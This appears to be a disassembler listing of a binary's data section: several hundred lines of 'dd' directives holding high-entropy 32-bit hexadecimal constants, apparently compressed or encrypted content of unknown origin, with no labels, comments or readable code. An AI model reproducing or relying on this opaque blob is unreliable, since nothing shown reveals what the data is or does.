		dd 0A7F00CCAh, 9F1EC7D0h, 47D88F65h, 796A40C0h,	9A4F0C68h
		dd 0A6C821E1h, 0FED9BD00h, 0B82C27BCh, 446E00CEh, 0F54F1B20h
		dd 0F600CDEDh, 0BB0F0D69h, 75349742h, 0A55F0705h, 0A0BE75A0h
		dd 6D9F3055h, 7300E7FCh, 0AC8A4C65h, 803F0DAAh,	7AEED45Ch
		dd 0FC10CA00h, 74E2E677h, 0E94C608Fh, 62A93017h, 736F6501h
		dd 0D9E15E4Eh, 0C1017B20h, 0BED74CC9h, 33438F4h, 0B7EFA07Ch
		dd 2F6B8862h, 29C31DAAh, 0A8D43D2Ch, 0BBDA1E5Dh, 0E62DC066h
		dd 6E6539CDh, 6C61E000h, 18913104h, 0E0BD540Dh,	0B4BA2A81h
		dd 0A1F909FCh, 8410486Ah, 149089C7h, 87431304h,	74D073C4h
		dd 19918DDh, 8A1FF488h,	954E31E3h, 1B41A08h, 7192B2BCh
		dd 80F6299Fh, 0AD2515E0h, 0EE11783Ch, 88A6000Bh, 1A450F08h
		dd 23021DE8h, 0F9D03B6Ch, 0C28C807Dh, 75ACE4Ch,	0ED447096h
		dd 89A8BAE2h, 0B8900C81h, 22EED6B7h, 19B1D491h,	0CED0A1FDh
		dd 28804971h, 0D4A6EB0Eh, 8762F5C0h, 123AC194h,	71473046h
		dd 37936C5h, 0D3552A1Ah, 63C8D778h, 44006473h, 0E3CBB819h
		dd 2EDE5240h, 9FC28A6h,	3880D283h, 0AB07957Ah, 0AD07F8A6h
		dd 0B51D31AAh, 21F86F88h, 0A900FC2Eh, 5CFF0FBEh, 3377D2Ah
		dd 2C117415h, 0C000764Ch, 56693E14h, 485DC87Ah,	158170CDh
		dd 4CACEC43h, 98087DC4h
		dd 70452387h, 940173BDh, 0D142E85Bh, 583445CCh,	0F0820170h
		dd 0EBECF795h, 93DFD42Ah, 0DCFF9C00h, 608E71AAh, 730C00F8h
		dd 9E6EF581h, 110245D3h, 0ECD9B8C2h, 847FE036h,	64300015h
		dd 699FEB20h, 900388EDh, 0F6EAACA7h, 0CEF7B03Fh, 8B7175h
		dd 43DB39DFh, 0FED560F9h, 3322B100h, 0C4CCCAEEh, 42EF0189h
		dd 62D357F2h, 474D7023h, 0CE52B001h, 0F032604Dh, 18C340E4h
		dd 40E043D0h, 7D009853h, 29BD6344h, 0F8F0CD26h,	96A63EFAh
		dd 14C99F03h, 9388E5C1h, 43004B36h, 3DBA3006h, 0A0CC1D12h
		dd 0E887B8F4h, 64D00198h, 86ABDF2Fh, 0BD8EF07Ch, 9302E000h
		dd 0CD9EB307h, 0FEF410h, 503F4C73h, 37C52388h, 0EA0048F0h
		dd 539DE27Dh, 21AF0Bh, 0CCC7113Dh, 0C69B0C38h, 0C4841F00h
		dd 994AB15Dh, 90EB02DEh, 7B18B347h, 519471E0h, 21F85700h
		dd 50659382h, 0C6660044h, 0D1342B5Dh, 0C76041AEh, 57C0FE49h
		dd 97F50EDBh, 26E732E4h, 0E2BFE036h, 0C73F1C16h, 0E60100E1h
		dd 49759688h, 0CC5000B2h, 97D73D7Fh, 0E300BB6Eh, 85B7DA0Eh
		dd 73DFBCh, 0B62C1DC4h,	36830C11h, 42C87000h, 4039F9CBh
		dd 0C7A50078h, 62C99873h, 0F50010B6h, 0C24A409h, 3D26EAD0h
		dd 0E40CE069h, 2190C1B8h, 0F75E200h, 0ED3563A3h, 0DF94023Ch
		dd 911E7647h, 518BB4E0h, 0AB00D378h, 58F86212h,	50B7C45Fh
		dd 7CA6C3h, 0DBF55CBFh,	0C8B2CD5h, 30512E00h, 7A0875Dh
		dd 8D1D00CAh, 20CB3F49h, 38E49BB4h, 74429E02h, 0E0DACF4Eh
		dd 4082F1h, 88A8F5B5h, 0C950A528h, 39E0EB0Ch, 40E6294Fh
		dd 0B6008062h, 6304989Bh, 45DEABh, 687D4D10h, 2FA73DC2h
		dd 0B52EF000h, 0F2BE5E80h, 8C3800B7h, 0FCF3CCC1h, 0DFA191E9h
		dd 0BDDCDCEBh, 0D7401F0Fh, 0A5EE00C7h, 2ECCDBC4h, 3CFC111h
		dd 0CD7D7110h, 2A01DE0h, 0DDD91200h, 9CBC7CF1h,	0D764009Eh
		dd 773D1CE1h, 0AD1FFE54h, 33C2C2E6h, 4079D5FFh,	0A5D72Ch
		dd 732EAB58h, 7E903D55h, 0D4653200h, 0A91C265Fh, 0AA4F0077h
		dd 74C30DCh, 0D13DA490h, 457180A2h, 8A509892h, 1FC0E57h
		dd 0A9A0C815h, 5E596C44h, 8064133Fh, 0EBB11D90h, 2376B63h
		dd 7B0C5A74h, 1060422Ah, 0F100C7C5h, 0CE9E918Fh, 33F5E49h
		dd 41ECFB6h, 0A2984FAEh, 71012DBBh, 1B2BDCE4h, 0C5F47A63h
		dd 0C2E50052h, 5B5F9237h, 850014F4h, 0F8475843h, 790334h
		dd 9E6338BEh, 59062EB4h, 953051ECh, 0F2903225h,	723E5C09h
		dd 0E4B2F00Fh, 80247427h, 0F74D3A12h, 9BF65502h, 4020796Fh
		dd 73E8FAA6h, 7E4900A0h, 51F092AFh, 0DF007F0Ah,	0C2EC0C6h
		dd 6CED67h, 5AA6CA9Fh, 0C720D13Dh, 0E800BD70h, 840F9E8Ch
		dd 313F9ACh, 0C834F093h, 14D8977Ch, 0E40079E0h,	593556C6h
		dd 13E8889h, 0D22CDB5h,	0C49B84A7h, 36001B4Ch, 33C857CBh
		dd 2E4650h, 6099D09Fh, 0B5A9293h, 4B9C080Eh, 94C160A4h
		dd 0F8C9CF19h, 7E1004Eh, 93D802A9h, 0AA012272h,	0FBF32E45h
		dd 9EFCD9A4h, 1CB9EEDFh, 3931D743h, 2BD1083h, 6780A299h
		dd 6F00F2FEh, 2CE90D07h, 787E814h, 5189AC3h, 917EF703h
		dd 0EC3F75EEh, 6C076B69h, 0CFBC3057h, 0CD2C9F20h, 6F940B65h
		dd 2200FFBEh, 84D3485Ah, 0D0A78700h, 0B3037D07h, 2577F56h
		dd 0D85A47A6h, 90801C10h, 7679B9C6h, 0DBA86800h, 0C8CAC0EAh
		dd 0EF9D2CE5h, 5E7C0768h, 0D0D7578Ah, 9960D404h, 399E210Fh
		dd 0AE3B605Ah, 762AC1h,	52493D0h, 4E55C265h, 0E61B2500h
		dd 8293CBCh, 0FEA20323h, 0ECE5830h, 61B7EBC8h, 93007590h
		dd 0CDCB71B4h, 0FEBC36h, 53C84A25h, 0D7075F19h,	2943DC01h
		dd 0A1EB0FBDh, 0CE47E4h, 0D93A5427h, 0FE440286h, 2E33C30Fh
		dd 56A82031h, 1EF48C24h, 109C7CAh, 0AD7D4F8h, 471087FDh
		dd 0DE0049EEh, 3B3D870h, 3AC46DB7h, 8C9857C1h, 1E000768h
		dd 0B93EBCA6h, 60D3E328h, 2F0F78C0h, 0CC380C15h, 0C94302BBh
		dd 0E35A3BE1h, 3713F845h, 1F80733h, 60FA269Dh, 4B52D1C7h
		dd 0A1303400h, 54467F7Dh, 79C7020h, 0B760C45Bh,	0FC71F312h
		dd 1BAF2E80h, 0DA034800h, 0BD94EFDBh, 0FFB21DD5h, 7D590032h
		dd 4D7B5E15h, 11B06E00h, 278A804Ah, 0FEE109A6h,	5480BABFh
		dd 0A2D4E04h, 0DC81C500h, 7661D15Eh, 0E2AD0511h, 801F7A91h
		dd 9214A665h, 0D5218F00h, 46398549h, 0DFBD00A7h, 437061E1h
		dd 0F44C3264h, 0FDBC00E0h, 7F82F762h, 79E54C7Eh, 4C480900h
		dd 0CB787690h, 11005EECh, 1434B732h, 0FFAD581h,	1CAF7959h
		dd 4DEE2280h, 6800A553h, 28AE327Bh, 97845Ch, 0D72CCB16h
		dd 23E10996h, 0E7647400h, 6FF86544h, 0E4171C4Fh, 2BA600FFh
		dd 0B526E0FBh, 907B7000h, 0A78C9E42h, 921D0E06h, 0B300B205h
		dd 375A2FCEh, 9CD87C00h, 0C35C8D0Ch, 0EC450062h, 48AA8A5Bh
		dd 239F007h, 514E00A7h,	65908F17h, 553E1953h, 0CBEB9CCAh
		dd 9193BAA0h, 110A561Dh, 0CC268Bh, 0FAE90C76h, 29AB0F9Dh
		dd 9F201DD1h, 0E56E1C36h, 3038DF30h, 0E35D018h,	48F5FEE6h
		dd 7C002FA9h, 0A310E3EAh, 70C84C00h, 0CBEFB03Dh, 0F65930C5h
		dd 9C619D28h, 7241CA00h, 0F060315Ch, 6E691DACh,	0F1D00059h
		dd 0D48F4C6h, 0EA56710Bh, 0EBAC00BBh, 3C505A69h, 0F41C7AADh
		dd 6180BD1Bh, 659523B6h, 4C1E4E05h, 2500E92Ah, 9077553Dh
		dd 66890101h, 0AF9DBD8h, 41C8CC98h, 47789B00h, 585EBE0Eh
		dd 3FFC6Fh, 0F5AEAFA8h,	0D5CA18EBh, 644E542Eh, 873A1028h
		dd 1893BBA6h, 40184C2Ch, 94AE004Dh, 1E09358Eh, 4584449h
		dd 0DC1B1D40h, 0F8C9DC0h, 0F0D72Bh, 7B6AD0F4h, 0A943AE64h
		dd 85913600h, 90664D25h, 0DCD200EFh, 0C79ABC1Ch, 3C74589Dh
		dd 1E26CE16h, 0E12CF207h, 564D8F90h, 0BF8E005Ah, 0DDF737D1h
		dd 99E222BEh, 41714600h, 0F4BD05DBh, 45FC0044h,	859DC2DAh
		dd 0F50BA97Ch, 8FB63C3Fh, 234E2050h, 0CB653Eh, 0BBF9FC76h
		dd 0E348CD24h, 711C4A00h, 0EA44B51Bh, 0FBD403CFh, 0A88018A2h
		dd 0E87DC0CFh, 6A008F83h, 0C1D81559h, 134F90h, 30B7C7C6h
		dd 0A9D331EFh, 52818807h, 7BF993h, 4595E494h, 0BD160A23h
		dd 0E17026h, 0EB73386h,	0C61E79B4h, 4035900Bh, 44C5F81h
		dd 0D4FAF840h, 6B10A0B3h, 0A33202D5h, 0C9F8C78Fh, 6608C180h
		dd 1D7BB7AAh, 39EFFC3Fh, 842CF286h, 0CA8150DDh,	1886D13h
		dd 0AFA2E8CFh, 0F308E260h, 92B034h, 866198A5h, 0D27DBEBBh
		dd 2D843905h, 44003FAEh, 36B4FBC6h, 0C44F03B7h,	0D70EBD20h
		dd 0DF15C8E0h, 65E63A00h, 0FE70288h, 51140025h,	0F5BDACC6h
		dd 0F4003E16h, 8E53DFFCh, 0F62FE0E9h, 91440785h, 80935450h
		dd 2655A37Eh, 0DE94D425h, 6FBC0070h, 7006EAF8h,	7220FC18h
		dd 66EBF0h, 76B5D5ADh, 1EE9D4B1h, 0E491C100h, 43E68460h
		dd 68FF1CB3h, 0E2A6C267h, 0BC80A1C5h, 88CC09B2h, 3E15E003h
		dd 0C854602Eh, 764A788Fh, 84C85085h, 104900CAh,	0F25228B7h
		dd 39003A9Eh, 23FC3427h, 9F68671h, 1D3B437Ah, 87310301h
		dd 38ADFCB5h, 61418100h, 0A06E13BAh, 5080F559h,	0FF51F47Fh
		dd 0FB00F054h, 0F8457541h, 0EFC61Fh, 0D24FE282h, 7A50DE81h
		dd 99EA9D00h, 42795B17h, 90C56375h, 6E9883DAh, 0A92651DDh
		dd 3DD02Bh, 9305A28Bh, 0F89EA41h, 0E50B9459h, 908A1C6Fh
		dd 53190394h, 0A8A8B521h, 300CCDCh, 655CD4B0h, 0EA1849B1h
		dd 10E7C7Fh, 363C2EFCh,	60E0C3FDh, 8E0D856Dh, 182B3986h
		dd 532230h, 25FAFD4Dh
		dd 990BAE83h, 5E068503h, 0D9C8D6h, 8A51A544h, 0F03AE94Ch
		dd 7452FE07h, 0AD700610h, 31C25B1Fh, 0A8507BE5h, 0FB3080CEh
		dd 0BD9BCCC3h, 2C680085h, 35F067B7h, 0AC00DB17h, 9486E093h
		dd 0C1505BF4h, 0D576A138h, 13080D2h, 0FDB46DEAh, 1C50C034h
		dd 0A3C522DCh, 4A45FA00h, 0C77AF516h, 7CFD76A7h, 4CF1E4CCh
		dd 6F006862h, 107F03Fh,	5F03EA68h, 0F4CD76DCh, 757000DFh
		dd 0A6360498h, 97004B4Eh, 0E0D99A27h, 0F03B38CAh, 0AF57005Dh
		dd 6ED087A5h, 9907031Fh, 1827171Dh, 0BC447BC0h,	0E51600D6h
		dd 0C54DFFB1h, 3C00FE38h, 0F2C0706Ah, 0DDAB22Ah, 0F480306Fh
		dd 0CA7DFDF2h, 0B82C1EE0h, 0AC60AD00h, 0F34F04DCh, 0B1DF0019h
		dd 0C08838A1h, 0D400B279h, 6FD82DB5h, 0C11B23h,	58602BF0h
		dd 733C5680h, 5F96BA00h, 37CC8DF7h, 6D1400A0h, 0D636192Ch
		dd 0DB71600Dh, 2E98E600h, 7B0EA75Bh, 0BD820049h, 0D2DC88DDh
		dd 530CD3B2h, 9087CDD4h, 0E4C87A80h, 34040021h,	0C9309B37h
		dd 0E4ECBE33h, 0F3F29400h, 0E6CB90EFh, 0CCE0300Bh, 150A4238h
		dd 39C7B10Eh, 0FA4B205Fh, 0F01222FCh, 4CA20054h, 0C3E9E1CEh
		dd 5F5ACADBh, 0BD002FE8h, 1FD89777h, 4E0040B4h,	0A8C511BEh
		dd 0B3460Ah, 8ED69423h,	6149E3FBh, 25018CEEh, 0C7DBB30h
		dd 56204D44h, 43870070h, 0CB669D35h, 0D80FC205h, 60302D32h
		dd 0CEC6D583h, 383FF062h, 0AC0F2AD1h, 9AA03DF3h, 323A380Ch
		dd 24DB18C0h, 0DA194Eh,	0C0F1D481h, 92FC8815h, 0B34C3701h
		dd 16F35FA1h, 6F2EEC0h,	0D16CEB94h, 0D20F5885h,	87349295h
		dd 9D5075E0h, 304636Ah,	80591FBEh, 0B0FFC017h, 0B181F6D8h
		dd 5119B960h, 2BD79D7h,	0C5B0CBC8h, 3AC056D1h, 31010C9Dh
		dd 0E5E7E977h, 8CDCFF68h, 0DE2800EFh, 0EE364F60h, 0F60F6966h
		dd 0A0203C1Fh, 0D0A08076h, 0C1B6F4E3h, 3D504150h, 0AB57609Fh
		dd 88BDB003h, 0ED62858Eh, 226116C0h, 0A1EE00F4h, 0FE50B2A8h
		dd 8300F3B5h, 0A9988832h, 1CFC875Fh, 0C0A7B8AEh, 79175BCBh
		dd 830077ABh, 0EB1DB6FEh, 6CBABDh, 71E29E41h, 40BF8463h
		dd 8794700h, 8A782644h,	807F00B1h, 5612F45h, 0E200E934h
		dd 1B63A335h, 8546CCh, 0E7F4FF6Ch, 4B9D12F3h, 0E688C454h
		dd 53A71E00h, 0DB0B1C42h, 0C0A40BE7h, 4700C250h, 1438D09Ch
		dd 30C0B8FEh, 0E17EB66Bh, 2886FC63h, 3E84B0CAh,	4A00A3CEh
		dd 688F78DDh, 0EC006424h, 0E29F8A5Fh, 389EFCB5h, 0D1003A4Ch
		dd 0DD43607Dh, 0B40031A8h, 0C0448114h, 14075CDh, 78E40807h
		dd 0E0195BF9h, 310001B0h, 0A3C6ACDCh, 866F0h, 941F4E74h
		dd 0EB702C98h, 0E478E700h, 8AEDEE71h, 0A72A00E0h, 1CA596CEh
		dd 0E714A18Dh, 0B020AD20h, 0E7044D83h, 7B3EA208h, 0C03A0Bh
		dd 0DA2F78E0h, 58CD3684h, 0DE00D796h, 0AE591B06h, 0A23EFCC8h
		dd 0B4980ACBh, 4830B2F5h, 32023DEh, 0F09F953Bh,	7B9857CDh
		dd 8000E551h, 2A62D44Eh, 0ED939E2h, 94041069h, 937CCAEEh
		dd 0AD6200E0h, 0D90882C8h, 0C6F7F800h, 87066924h, 136E0D7h
		dd 0F2EF7821h, 0C5F10840h, 5DA440CEh, 1A80418Eh, 587A00E5h
		dd 2C1F90CBh, 60F206Ch,	40D11083h, 149A3B4Bh, 0E988001Bh
		dd 198AB496h, 0B8C3820Eh, 0F9374D3Ah, 7885C83Bh, 70627791h
		dd 53B17580h, 4646F278h, 51B5C580h, 5407EDB8h, 0C2CDA5D4h
		dd 8CF25CA7h, 0A9E4273h, 0E1007EF0h, 0C718DF3Ah, 0E69D00F1h
		dd 1F9CCAADh, 0F900723Bh, 0D1CDED9Ah, 369AC63h,	59258208h
		dd 821F51F7h, 0AB43FA8Ch, 0DAADA446h, 3F808043h, 5347D970h
		dd 24802071h, 8D1BECF5h, 13310E88h, 0E43C21h, 9FC8F116h
		dd 0D900430Fh, 0C7F91696h, 2231E0h, 0D862541Ah,	77DD39FFh
		dd 7AEF8F00h, 0F2E29787h, 110C01B0h, 0D2267637h, 7930FC2Eh
		dd 1F8AA100h, 0CDE49669h, 0B47F30E0h, 5584F208h, 3EF59B00h
		dd 0E3160E43h, 0D60900D1h, 640D1135h, 28C0B7E5h, 0D85B4ECDh
		dd 5C410089h, 0B51D81BAh, 8B2C152Fh, 16008F12h,	0C0F5A6BFh
		dd 4D663083h, 0CAFA75CCh, 0CECBE10Ch, 0EA9CA090h, 95F5240Bh
		dd 1B003F34h, 775610EAh, 39019354h, 5C0ECE4Bh, 0E6E41F0Bh
		dd 3BD9C02Dh, 0BED09384h, 0FC95B200h, 366D7102h, 77DE00EDh
		dd 0AF5870EFh, 1E026FD4h, 6BB17820h, 907C40BBh,	27E7017Fh
		dd 0E63B7BB0h, 50BE1Ch,	71AE174Ch, 1C4DC9D3h, 40AC9686h
		dd 42BFBD8Dh, 17009B0Fh, 0A515DDFCh, 0FBABE0h, 60BB7B2Fh
		dd 0B1334BD0h, 0A0188CA8h, 3C6669C0h, 7BF6CB6h,	116740B7h
		dd 0C19A8105h, 0F97C817h, 0EFB40666h, 9D7338h, 8BAB71BBh
		dd 0A9C798DDh, 0EF903CB8h, 7FED9200h, 446DE97Ch, 0A420E546h
		dd 0ECDB0305h, 19FD175h, 55932680h, 36762406h, 155969AAh
		dd 0F47A8FE7h, 4FB53403h, 40003AB9h, 731D4AFFh,	58FD700Bh
		dd 160037B6h, 0FBAA6E2Ah, 6000E293h, 0AD8EF4FCh, 22FF3Dh
		dd 0CE7383BAh, 7DC01543h, 97D1A100h, 24CC4E7Ah,	0FC1600F2h
		dd 0E7C9B3EAh, 9907016Bh, 2DCD87A0h, 802BAE60h,	971E0B4Dh
		dd 0C003646Ch, 0F988FB14h, 0C403FDD9h, 95EDACB6h, 0EAB4F03Eh
		dd 0CCAD00B9h, 63938B38h, 0A200BAE4h, 895267D7h, 7AA5DE98h
		dd 5CEB0FD1h, 72601F28h, 6B4190D3h, 2D1A3901h, 5BC5755h
		dd 9DD2F5DCh, 4F028000h, 697C9D6Bh, 3A890B60h, 0FC82776h
		dd 800A1CA9h, 9554CC00h, 0DA002A17h, 0FE2078B8h, 0C07546D1h
		dd 0C13F4B31h, 0E100E876h, 0A1091FF1h, 0A960BAEh, 257B83F8h
		dd 0BBB00124h, 0DD7842E1h, 0C0430879h, 5CDF32E0h, 2700C0B8h
		dd 0A5DB54B2h, 0C8472FFh, 39708112h, 63188CA0h,	4AD01E21h
		dd 0BC863E71h, 14870201h, 84721CF2h, 0CFC2FE79h, 0A2F00323h
		dd 0D143C08Ah, 2013F418h, 0B8009BAEh, 1DF5F34Ah, 17A5C60h
		dd 82B6C25Fh, 0FDF0B123h, 0B7D840A4h, 7F3CADD4h, 25FA0068h
		dd 753683B5h, 161CB8B8h, 318CBDh, 68C20229h, 6000EF98h
		dd 0DAE1EB9Eh, 0AEBD88h, 611C6B6Eh, 0AA1A3B47h,	271D1E00h
		dd 5A5C21Bh, 0E9D800D5h, 89B25ABBh, 21775788h, 0C0F004AFh
		dd 3AB80F32h, 7E3BD72h,	46E0DE9Bh, 0FA3B51CAh, 38F2982Ah
		dd 0E6F30h, 0AF4017F6h,	2429A66h, 5E62AC06h, 53182EDBh
		dd 5FC23450h, 4C95950Ch, 80A84603h, 0EA01E039h,	0A7FE00D8h
		dd 12D71725h, 0D1F831Ch, 980351EEh, 117E8Fh, 688B5C18h
		dd 2ADB3E57h, 16909910h, 2818B82Ah, 540CA2CAh, 0FAEF18E0h
		dd 0E449C47Fh, 94D1209Ch, 0A879C127h, 8A8874FDh, 3CE03F18h
		dd 0CF90C0Ah, 24CBA90Ah, 3C8C500Ah, 2A05EA06h, 383C2849h
		dd 0D01E190Ch, 0C543179h, 5830A973h, 5070245Fh,	226C3CCFh
		dd 5210EC7h, 84B014F3h,	22A46EC5h, 919B4A8h, 0AF403C52h
		dd 0C8EEA30h, 4F8F4408h, 0C60C40Ah, 0DB78DC08h,	68B8610Ch
		dd 22CB1964h, 0E4080D30h, 82B9DA8h, 0D500376Fh,	0D0834828h
		dd 3491C0h, 0BD2CC3C5h,	0A8017B8Bh, 0E3D3A77Eh,	0D1F4D76Fh
		dd 537C00FAh, 8B4E8529h, 1602BE72h, 5B470344h, 8E244820h
		dd 0EEA53E36h, 79F2B860h, 0ECA08A07h, 0BF28953Bh, 0C0080B0h
		dd 76C99C70h, 2E6F9DEh,	2C4A6F55h, 5C804F85h, 5979354Eh
		dd 0A1451F30h, 60ABEC8Bh, 6FFC88D7h, 0E503C13Ah, 1CCC0280h
		dd 550B87Dh, 9C8809ACh,	6C28DCDFh, 0A210F81Ch, 2C78A003h
		dd 1B7BBh, 0D7726EB1h, 0DA23859Ch, 58480A7Fh, 20B07A4h
		dd 890079Eh, 13CBFEDh, 8C42738Fh, 8804C0h, 161BA9h, 7D279D56h
		dd 0CAE14052h
		dd 20D88260h, 0BBC5Dh, 50423CC4h, 29A18F5h, 527E790Ah
		dd 1E001456h, 9C078BAAh, 0D534A815h, 80B9008Ah,	81BC9323h
		dd 2C00C869h, 8F647859h, 249B4457h, 0F81C63h, 4A7B1BD6h
		dd 0AD00EF8Eh, 573A392h, 697BCC5h, 9360A416h, 9020B82Dh
		dd 203C0A56h, 0B844D9h,	97458199h, 9D01DED8h, 59F15458h
		dd 0AC44B64Ch, 0C0EF4983h, 7A2B2D41h, 89613E09h, 68F95B14h
		dd 0E5352800h, 0E3B6A5Dh, 570040AEh, 0D0E2CD17h, 0A9375Dh
		dd 532F92E4h, 0EC02A869h, 4B013FFCh, 204F35B7h,	0E8403AFDh
		dd 0F048E30Bh, 108562E5h, 0F4A35103h, 89CE2B77h, 73329103h
		dd 18D683BCh, 0B8B1A318h, 0CC010B1Fh, 0C6935BE2h, 0E0EF3F5Ch
		dd 6195A90Fh, 0C1102084h, 0A7A83458h, 5147DC00h, 0A08CC37h
		dd 188A6284h, 8494400Fh, 1DBEB801h, 0F0B52EA7h,	7D065820h
		dd 0E77201E0h, 0D42FF888h, 0D8CC4193h, 0B018204Ah, 9269B9FFh
		dd 7C41DE56h, 0A98EE851h, 0C5E02C31h, 7CE70103h, 0CBDBAA5h
		dd 2D4D00FBh, 0FCDB4CD5h, 69CA0B0Eh, 80010A09h,	98746567h
		dd 91A0C258h, 40B2606Bh, 0B903788Eh, 49CFB614h,	527000F4h
		dd 0F05617A8h, 1C800A0h, 0C3C07858h, 0F1009153h, 6150300Fh
		dd 520312Ch, 21391A43h,	99BC4F6Ch, 98ADDA60h, 270B7B17h
		dd 803A6530h, 595185A7h, 0D8845482h, 0A0686AA2h, 0F1FF04B0h
		dd 0E008C88Bh, 1E7F9B40h, 8007BE34h, 7CFBF5EDh,	394C411Bh
		dd 3F944C34h, 1EC48EEh,	0A4973A7h, 0E98C77C4h, 9170CAD0h
		dd 995F5602h, 0B0964AB7h, 11414030h, 9C1A78E7h,	9F0676D0h
		dd 0D827847Ah, 74F0A809h, 7480053h, 3F95CFC3h, 7E087381h
		dd 5A016317h, 1C94F762h, 40D162CEh, 698D9Ch, 0FF0ABCDDh
		dd 21CCEF49h, 0C0DCCF48h, 7D6DB8D7h, 58910097h,	0C8AB8380h
		dd 31262038h, 10020465h, 6993BE26h, 0CFC44CC4h,	0B2AE0083h
		dd 66B69C8h, 544C4E2Ch,	0C00E8010h, 0FB5142h, 26FF315Bh
		dd 2F22885Dh, 49008471h, 0C4CBD766h, 0FD8607h, 57326145h
		dd 41E3DE74h, 0A78C504Ch, 362F79E1h, 4004F880h,	0B450B166h
		dd 509389E8h, 99ADD300h, 4CC1CDA6h, 0F4C05853h,	2E6E38AFh
		dd 0B9E0105Bh, 250E3D67h, 2AB0F9Fh, 53F8120Ch, 544314C8h
		dd 713A9800h, 782D1517h, 0BEDF05D7h, 0C42437A7h, 7548CC58h
		dd 0A9908700h, 0A4E20463h, 841F499Ch, 3BD34000h, 0BB9662A1h
		dd 0C09EB018h, 407D63B1h, 670C4E31h, 0E8D6E2D7h, 0C6CD03A2h
		dd 44461FA1h, 1EFDCEC0h, 6601409Ah, 1DEFC973h, 0A834B76Bh
		dd 0F55C24B4h, 0A74E8008h, 7655CB78h, 29608801h, 8A4C407Dh
		dd 871CBEFh, 5C15A431h,	89B60702h, 0DA204097h, 7AA0093Fh
		dd 508160C0h, 80C2E3A8h, 272B7959h, 0B7257DF5h,	8088EB70h
		dd 2161FE0h, 0C70173DCh, 0E6794F0Ah, 0F957E080h, 6947E4AAh
		dd 720051DEh, 53B84428h, 3908A885h, 3D8F424Ch, 809F0009h
		dd 55524251h, 4B8D019Eh, 974AB648h, 88882461h, 8038B739h
		dd 0C77DC2Ch, 243D3Fh, 3AD02AD2h, 0A08AC387h, 7AAB3609h
		dd 631A82C8h, 80285396h, 0EB7531A6h, 19C08907h,	0C6E7FDD6h
		dd 0DC775C1Bh, 0AD602470h, 456501D0h, 6438B4F0h, 44751C44h
		dd 0D297F600h, 0DD4AD427h, 7471F721h, 880A8C9h,	0ABC54379h
		dd 0D103BB52h, 0D9BDA95Ah, 4E90B253h, 0B7152020h, 0D493C880h
		dd 0CFA2FCA1h, 0C89079A2h, 77783FE4h, 7508E258h, 412803Eh
		dd 9A98148h, 49C3A3C2h,	9C47709Ch, 0A2C54721h, 20082841h
		dd 888C70h, 0D0569DC2h,	8A50EDE0h, 890099F0h, 57334CB1h
		dd 522962E9h, 0B6153001h, 762ABC7Fh, 7E990048h,	37D48287h
		dd 0FA718CA1h, 0A9809B03h, 0C08D9085h, 90AA7513h, 8BE24C08h
		dd 0E0E871Fh, 7DE04DFEh, 2F4ED7E6h, 19D29E00h, 0B489947Bh
		dd 0B6310108h, 8493686Dh, 77202246h, 5672A800h,	1008C37Bh
		dd 229EC048h, 2BA0B94Fh, 469DE100h, 77FE4C0Fh, 0AD2D007Bh
		dd 315043F9h, 2C007DCDh, 1BE7EBFBh, 39F39034h, 0CC81CF5Fh
		dd 833600Fh, 80AC4539h,	9FB0A910h, 37B4906h, 3194317h
		dd 1B6D9DFBh, 80FC5C53h, 79291B5h, 55B33701h, 9B256786h
		dd 94076DCh, 24D8D044h,	0C71A7401h, 91028D7h, 0FF5ECCB1h
		dd 5CD2A500h, 87005AEBh, 4DA276Eh, 0C500843h, 0F3E11E23h
		dd 8500FE30h, 39BAE3F0h, 0AD0F82h, 54ABEDF5h, 48912B24h
		dd 0F44E412Ch, 0A7062180h, 39AC43h, 32A85314h, 483472CDh
		dd 286FB415h, 0C5F8004h, 573A4A3Ch, 78A40C0Fh, 2307DA30h
		dd 0F829E0D8h, 0C78479F0h, 0AD6EC64h, 0E313A210h, 48B3080Ch
		dd 1042F042h, 682086DFh, 1C4808C2h, 571E2F31h, 9531FF98h
		dd 430CA114h, 0AAF43053h, 65DB22FBh, 62E15810h,	0C1A73134h
		dd 153B2481h, 3F318A46h, 360A0C9Bh, 0EB0A48CEh,	991E244Ah
		dd 37540CA8h, 0B222E418h, 0C0232845h, 0F687280Ch, 0C14F6518h
		dd 347C820Ch, 20F3AC87h, 10C4990Dh, 0B1493900h,	2E6C580Eh
		dd 0A1660001h, 0D56D7402h, 1428844Dh, 0A526F0B0h, 86005D91h
		dd 0DF3572A9h, 6CFA0E5Eh, 6BC36F02h, 9FD93348h,	994AD06Dh
		dd 0E1AEC200h, 815F4904h, 1C7B90h, 0C36F39E0h, 0D7199F7Ah
		dd 4D7E1200h, 232CEAA3h, 5274CFh, 20E38E5Bh, 0FDF3F42Ah
		dd 57663700h, 0C5DF6B61h, 0DBF103D6h, 0C1F02CF9h, 6B12080h
		dd 0EA848900h, 518C701Ah, 0EF7B03h, 0C849F4F1h,	3A485A9Ch
		dd 555EA71Dh, 5B90A003h, 56DCE83Fh, 0F0CE878h, 432F9524h
		dd 8F034980h, 530152B9h, 22454197h, 1C491173h, 1232F360h
		dd 0E7123h, 0DCCCB698h,	0AB01F246h, 896496C4h, 4C202AE6h
		dd 0EE05009Fh, 39FE01A3h, 0EB2E72D8h, 6D0040ABh, 0E152F213h
		dd 38D60443h, 804B64C2h, 0C0EE6BD0h, 8A5B0A1Dh,	45D00D00h
		dd 0E539D171h, 3A9F299Ch, 261D0800h, 0D95F5575h, 0BB7D8401h
		dd 0CACB0E6Dh, 1A824D0h, 0EB29D474h, 870DF2CDh,	0AC5F33B8h
		dd 8139A470h, 0B65E2ECh, 6EF0D217h, 0E7AF3280h,	5300CDABh
		dd 0EB1FE33Ch, 9BCBBDh,	0D0F46C3Fh, 8A99BE85h, 2B56FF00h
		dd 0A6DB0E57h, 0F79200DCh, 6D99B18h, 5201073Eh,	0FA622E3Ch
		dd 0BDC45F56h, 0F53B0033h, 8B43F78Ch, 42143652h, 0BC587713h
		dd 0ED4823F1h, 0A51A7950h, 25B5804Ch, 26DD1E5Eh, 0C51C107Bh
		dd 4A4129E6h, 616F3D58h, 0C4CCF4h, 0DEF2607h, 0A87F623Eh
		dd 0FF81AA1Fh, 362875C0h, 0D84A359Bh, 0E8F33050h, 9C1617F4h
		dd 0A1E3358h, 0EBBB7A80h, 521B0h, 3432A6C5h, 19F59EC6h
		dd 0FA52300h, 9DB2B755h, 0EE3B0030h, 7748AF22h,	0C6186BDEh
		dd 32B03875h, 9B7587h, 667F9086h, 53C06897h, 0A1D8E300h
		dd 0D5E4C239h, 54520938h, 9A006F1Fh, 64CFFB74h,	92A15D01h
